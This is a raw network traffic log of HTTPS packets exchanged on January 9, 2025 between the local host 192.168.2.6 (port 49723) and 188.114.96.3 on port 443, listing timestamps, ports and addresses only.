Jan 9, 2025 09:31:22.458564997 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.458570957 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.458722115 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.463952065 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.463968039 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.464020014 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.464026928 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.464816093 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.464834929 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.464869022 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.464874983 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.464896917 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.464919090 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.465223074 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.465239048 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.465306044 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.465311050 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.465415955 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.488579988 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.488598108 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.488666058 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.488673925 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.489041090 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.489058018 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.489093065 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.489099026 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.489119053 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.489145041 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.491138935 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.491153955 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.491195917 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.491202116 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.491213083 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.491250038 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.543229103 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.543248892 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.543306112 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.543315887 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.543344975 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.543358088 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.544630051 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.544651985 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.544689894 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.544693947 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.544719934 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.544738054 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.550843954 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.550860882 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.550921917 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.550928116 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.550986052 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.551528931 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.551546097 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.551594019 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.551598072 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.551636934 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.551660061 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.552177906 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.552192926 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.552248001 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.552253008 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.552329063 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.575263977 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.575329065 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.575333118 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.575340033 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.575376034 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.575598955 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.575632095 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.575659037 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.575664043 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.575685024 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.575706005 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.577809095 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.577826977 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.577886105 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.577893019 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.577960014 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.630108118 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.630127907 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.630199909 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.630208015 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.630362034 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.631392002 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.631407022 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.631474018 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.631478071 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.631563902 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.637768984 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.637785912 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.637857914 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.637862921 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.637959957 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.638451099 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.638468027 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.638519049 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.638530970 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.638580084 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.638777971 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.638793945 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.638844967 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.638850927 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.638906956 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.662134886 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.662153959 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.662210941 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.662218094 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.662321091 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.662355900 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.662375927 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.662379980 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.662408113 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.662436962 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.664594889 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.664611101 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.664674044 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.664679050 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.664798975 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.717072964 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.717099905 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.717211008 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.717226982 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.717358112 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.718254089 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.718327045 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.718334913 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.718339920 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.718379974 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.724720001 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.724741936 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.724812984 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.724821091 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.725430965 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.725447893 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.725487947 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.725493908 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.725522041 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.725549936 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.726069927 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.726083994 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.726129055 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.726135969 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.730773926 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.749068022 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.749115944 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.749159098 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.749172926 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.749319077 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.749332905 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.749336004 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.749346972 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.749371052 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.749393940 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.749399900 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.749434948 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.749455929 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.751499891 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.751516104 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.751565933 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.751570940 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.753304005 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.803985119 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.804008007 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.804111004 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.804116964 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.805183887 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.805202007 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.805238008 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.805243015 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.805265903 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.805291891 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.811636925 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.811671972 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.811702013 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.811706066 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.811718941 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.811748981 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.812115908 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.812131882 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.812182903 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.812186956 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.812638044 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.812659979 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.812693119 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.812701941 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.812711954 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.812742949 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.835906982 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.835922003 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.836092949 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.836098909 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.836141109 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.836361885 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.836420059 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.836429119 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.836441040 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.836476088 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.836483955 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.838291883 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.838306904 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.838356018 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.838361025 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.840846062 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.890733957 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.890763044 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.890810013 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.890820026 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.890852928 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.890880108 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.891952991 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.891974926 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.892024994 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.892030001 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.894769907 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.898252010 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.898267984 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.898336887 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.898341894 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.899076939 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.899096012 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.899138927 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.899144888 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.899162054 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.899199963 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.900333881 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.900357008 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.900386095 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.900410891 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.900417089 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.900444984 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.922828913 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.922849894 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.922947884 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.922959089 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.923290968 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.923320055 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.923348904 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.923355103 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.923381090 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.925230980 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.925249100 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.925337076 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.925344944 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.972074032 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.977648973 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.977669954 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.977755070 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.977772951 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.978899956 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.978919029 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.978959084 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.978965998 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.978980064 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.979012966 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.985415936 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.985431910 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.985488892 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.985495090 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.985850096 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.985867023 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.985928059 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.985958099 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.986037016 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.987011909 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.987067938 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.987075090 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.987132072 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.010214090 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.010236025 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.010281086 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.010293007 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.010308027 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.010318041 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.010328054 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.010339975 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.010344982 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.010394096 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.010416031 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.012053013 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.012068033 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.012130976 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.012137890 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.012177944 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.064577103 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.064600945 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.064680099 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.064698935 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.064812899 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.065692902 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.065707922 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.065836906 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.065838099 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.065846920 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.065979004 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.072362900 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.072396040 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.072432041 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.072436094 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.072457075 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.072475910 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.072922945 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.072938919 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.072993994 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.072999001 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.073092937 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.073890924 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.073909998 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.073937893 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.073942900 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.073971033 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.073983908 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.096636057 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.096654892 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.096699953 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.096708059 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.096751928 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.096760035 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.097193956 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.097209930 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.097331047 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.097337008 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.097424030 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.098875999 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.098892927 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.098958015 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.098963022 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.099004030 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.151439905 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.151458979 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.151537895 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.151551008 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.152688980 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.152709961 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.152755976 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.152765989 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.152779102 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.152803898 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.159512997 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.159529924 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.159600973 CET	49723	443	192.168.2.6	188.114.96.3
